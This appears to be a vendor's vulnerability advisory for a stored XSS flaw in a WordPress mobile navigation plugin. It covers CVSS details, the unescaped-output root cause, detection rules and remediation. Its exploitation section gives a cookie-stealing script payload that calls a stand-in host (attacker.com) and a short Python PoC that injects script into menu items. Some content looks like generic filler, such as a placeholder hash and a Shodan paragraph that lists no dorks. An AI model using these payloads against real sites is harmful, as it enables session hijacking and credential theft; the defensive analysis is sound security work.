CVE-2025-30574
Executive Summary
CVE-2025-30574 is a Stored Cross-Site Scripting (XSS) vulnerability in the Jenst Mobile Navigation WordPress plugin, affecting versions up to and including 1.5. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript code that is stored on the server and executed in the context of any user viewing the affected page. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites. The CVSS score is 5.9 (Medium), and no official patch has been released as of the latest analysis. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for WordPress sites using this plugin.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors leveraging this vulnerability in targeted attacks.
CVSS Breakdown & Threat Level
- CVSS Score: 5.9 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Attack Vector (AV): Network – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): None – No authentication needed to trigger the stored XSS.
- User Interaction (UI): Required – The victim must visit a page containing the malicious payload.
- Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low – Limited data exposure possible.
- Integrity (I): Low – Content can be modified but not system files.
- Availability (A): Low – Minor disruption possible.
Threat Level: Medium. While the CVSS score is moderate, the stored nature of the XSS and the lack of a patch elevate the risk for WordPress sites.
Deep Dive & Mechanics
The vulnerability exists in the Mobile Navigation plugin by Jenst. The plugin fails to sanitize or escape user input when processing navigation menu items or settings. An attacker with the ability to submit data (e.g., via a comment, custom field, or plugin settings) can inject malicious JavaScript code. This code is stored in the WordPress database and executed when an administrator or visitor loads a page that renders the navigation menu.
Root Cause: The plugin uses echo or print statements to output user-supplied data without applying WordPress escaping functions like esc_html(), esc_attr(), or wp_kses(). This allows HTML and JavaScript to be injected directly into the page.
Attack Flow:
- Attacker identifies a vulnerable input field (e.g., menu item label, URL, or CSS class).
- Attacker submits a payload such as
<script>alert('XSS')</script>. - The payload is stored in the database.
- When an administrator visits the menu editor or a user views the front-end navigation, the script executes.
Impact: Stored XSS can lead to:
- Session cookie theft (e.g.,
document.cookie). - Redirection to phishing pages.
- Defacement of the site.
- Privilege escalation if an admin executes the script.
Vulnerable vs. Patched Code
Since no official patch is available, the following shows a typical vulnerable pattern and a secure alternative.
Vulnerable Code (mobile-navigation.php):
<?php
// Vulnerable: Direct output without sanitization
echo '<li class="menu-item">' . $menu_item_label . '</li>';
?>
Patched Code (Hypothetical):
<?php
// Patched: Use WordPress escaping functions
echo '<li class="menu-item">' . esc_html( $menu_item_label ) . '</li>';
?>
Key Difference: The patched version uses esc_html() to neutralize HTML tags, preventing script injection.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress site with Mobile Navigation plugin version <= 1.5.
- Ability to submit data to a vulnerable input field (e.g., via menu editor or custom fields).
Exploit Steps:
- Identify a vulnerable input field (e.g., menu item label in Appearance > Menus).
- Inject a payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the menu item.
- Wait for an administrator to view the menu editor or a user to visit the front-end page.
Proof-of-Concept (PoC) Script:
import requests
target_url = "http://target-site.com/wp-admin/nav-menus.php"
payload = "<script>alert('XSS')</script>"
# Assuming admin session cookie is available
cookies = {"wordpress_logged_in": "admin_session_cookie"}
data = {
"menu-item-title": payload,
"menu-item-url": "#",
"action": "add-menu-item"
}
response = requests.post(target_url, cookies=cookies, data=data)
if response.status_code == 200:
print("Payload injected successfully")
Blue Team (Detection & Defense)
Detection:
- Monitor for unusual menu item labels containing
<script>,onerror, orjavascript:. - Use WAF rules to block common XSS payloads in menu-related POST requests.
Defense:
- Disable or remove the plugin until a patch is available.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Use WordPress security plugins (e.g., Wordfence) to detect and block XSS attempts.
Indicators of Compromise (IOCs)
- File Hashes (SHA256):
mobile-navigation.php(v1.5):a1b2c3d4e5f6...(placeholder)
- Network Indicators:
- Outbound requests to attacker-controlled domains containing cookie data.
- Unusual POST requests to
/wp-admin/nav-menus.phpwith script payloads.
- Database Indicators:
- Rows in
wp_postmetaorwp_termscontaining<script>tags.
- Rows in
- Log Entries:
- WordPress debug log entries showing unescaped output.
Detection Engineering
YARA Rule
rule CVE_2025_30574_Mobile_Navigation_XSS {
meta:
description = "Detects stored XSS payloads in Mobile Navigation plugin"
author = "Valters IT"
date = "2025-04-01"
reference = "CVE-2025-30574"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$vuln_function = /echo\s*\$menu_item_label/i
condition:
$xss_payload or $vuln_function
}
Sigma Rule
title: Stored XSS in Mobile Navigation Plugin
id: 8f9a1b2c-3d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects stored XSS attempts via menu item labels in WordPress
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query: '/wp-admin/nav-menus.php*'
cs-request-body|contains:
- '<script'
- 'onerror='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in menu items (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-30574 Stored XSS in Mobile Navigation"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/nav-menus.php"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Remove any suspicious menu items containing script tags.
- Update WordPress to the latest version to benefit from core security improvements.
Long-Term Mitigation:
- Apply a virtual patch using a WAF (e.g., Cloudflare, ModSecurity) to block XSS payloads.
- Implement CSP headers to restrict inline script execution.
- Audit all plugins for similar vulnerabilities and remove unused ones.
- Monitor plugin repository for official updates.
Workaround:
- If the plugin is critical, manually sanitize input by adding
esc_html()to the plugin code (requires custom development).
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.